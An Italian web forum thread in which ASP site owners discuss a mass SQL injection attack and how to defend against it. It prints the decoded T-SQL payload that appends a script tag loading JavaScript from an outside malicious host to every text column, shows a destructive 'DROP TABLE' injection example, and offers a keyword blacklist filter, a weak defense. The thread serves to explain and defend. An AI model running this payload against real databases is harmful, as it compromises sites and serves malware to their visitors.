• Bannato User Attivo

    non conosco tutti i tuoi siti, ma l'attacco di solito si porta passando codice malevolo alle variabili in GET (POST o COOKIE).
    Se vuoi usare un metodo generico per difenderti, usa una funzione per tutti i siti e scrivila in maniera tale che copra un pò tutti i casi descritti prima senza limitare le funzionalità dei siti.

    Io userei una funzione del genere:

    'Function IllegalChars to guard against SQL              injection
                Function IllegalChars(sInput) 
                'Declare variables 
                Dim sBadChars, iCounter 
                'Set IllegalChars to False 
                IllegalChars=False
                'Create an array of illegal characters and words              
                sBadChars=array("select", "drop", ";",              "--", "insert", "delete", "xp_",              _
                "#", "%", "&", "'", "(",              ")", "/", "\", ":", ";",              "<", ">", "=", "[",              "]", "?", "`", "|", "@", " ") 
                'Loop through array sBadChars using our counter              & UBound function
                For iCounter = 0 to uBound(sBadChars) 
                'Use Function Instr to check presence of illegal              character in our variable
                If Instr(sInput,sBadChars(iCounter))>0 Then
                IllegalChars=True
                End If
                Next 
                End function
    ```poi la chiami su tutte le variabili che provengono dalla request:
    

    'Call the function IllegalChars to check for illegal characters
    If IllegalChars(sMarca)=True Then
    Response.redirect("no_access.asp")
    End If


  • User Attivo

    Ottmo e scusami se ti sembra che abbia collaborato poco adatterò la tua funzione a sencoda dei miei casi
    grazie mille


  • User Attivo

    per curiosità, il tipo di attacco che hai subito ti ha lasciato questo nel db:

    <script src=http://www.killwow1.cn/g.js></script>

    Se ho capito bene dovrebbe essere qualche sorta di JS maligno quindi vi invito a non scaricarlo ecc.


  • Bannato User Attivo

    mmh, si sono fatti un bel giretto sti tizi, risultano: Risultati 1 - 10 su circa 654.000 ⭕o


  • User Attivo

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.


  • User Attivo

    E' un codice che si è sparso un bel pò sul web, molto probabilmente con qualche sorta di tool automatizzato.

    Decodificando il codice unicode si ottengono queste istruzioni T-sql:

    DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    Non ho ben capito, ma sembrerebbe che questo codice vada a vedere nella tabella sysobjects quante tabelle ci sono nel db e quanti campi (testuali presumo) e poi gli aggiunge sto codice <script src=http://www.killwow1.cn/g.js></script> ad ogniuno di questo campo, sperando forse che quando i dati vadano in output sul web in automatico venga eseguito questo codice malevole sul pc client.
    Ho provato anche a scaricarlo per studiarlo ma sembrerebbe che il dominio è down.


  • User Attivo

    @nandonando2 said:

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.

    Nando io ho messo solo un url, non viene eseguito automaticamente e poi ho anche avvertito di non scaricarlo (cmq io ci ho provato per sturiarlo ed il sito è down) quindi non c'è rischio.


  • User Attivo

    Scusa ma c'è qualche soluzione?
    Ho levato tutto o quasi inerente al sql iniection, ora cambio i permessi dell'utente del db e li metto in sola lettura ma vorrei capire quale è la vulnerabilità, ne sai qualcosa di più?
    Quale protezione consigli?


  • User Attivo

    Per capire bene il problema dovresti avere una conoscenza quantomeno media del linguaggio SQL. Ti faccio un esempio di una query e un esempio di injection. Prendiamo il classico caso si un Db di una libreria.

    Una semplice query SQL che seleziona una riga dal database può essere la seguente:

    SELECT * FROM TabLibri WHERE IdLibro = 3

    Ora che succede, molte volte per rendere dinamico un sito si associa una variabile che a seconda del valore passatogli tira fuori il libro richiesto dalla tabella TabLibri, in asp verrebbe una cosa tipo questa:

    query = "SELECT * FROM TabLibri WHERE IdLibro =" & request("idlibro")

    Questa riga di codice è vulnerabile all'SQL Injection, perchè finquando mi limito a passargli un valore numerico tipo: 3 (come nell'esempio sopra) tutto funziona, ma che succese se ad esempio io gli passassi questo valore:
    *3; DROP TABLE tabLibri
    *Semplicemente oltre al valore 3 che gli passo per non far andare in errore aggiungo ";" che non fa altro che informare SQL Server dicendogli che la prima istruzione è finita ora segue la secona, la seconda istruzione è maligna, anzi distruttiva, praticamente ti cancella la tabella "tabLibri".

    Capito questo esempio?

    Ora in questo e sottolineo questo esempio per evitare una cosa del genere bisognerebbe eseguire un controllo dell'input e verificare che esso sia esclusivamente numerico.

    Come diceva saro78 non esiste 1 solo carattere da tener sotto controllo, sono una serie di caratteri, io penso che il miglior modo per prevenire l'sql injection è sempre tentare di capire come potrebbero essere inserite istruzioni sql ed evitarle.

    Ti consiglio prima di tutto di imparare meglio l'SQL e di leggerti i numerosi documenti che si trovano in internet riguardante l'SQL Injection.

    Saluti


  • User Attivo

    Diciamo che avevo evitato il problema ma ho fatto un errore in pratica non ho considerato il passaggio di più valori ossia doppie variabili
    es miapagin.asp?val1=10&val2=dd

    non ho esaminato i casi tipo val2
    cerco di provvedere

    Grazie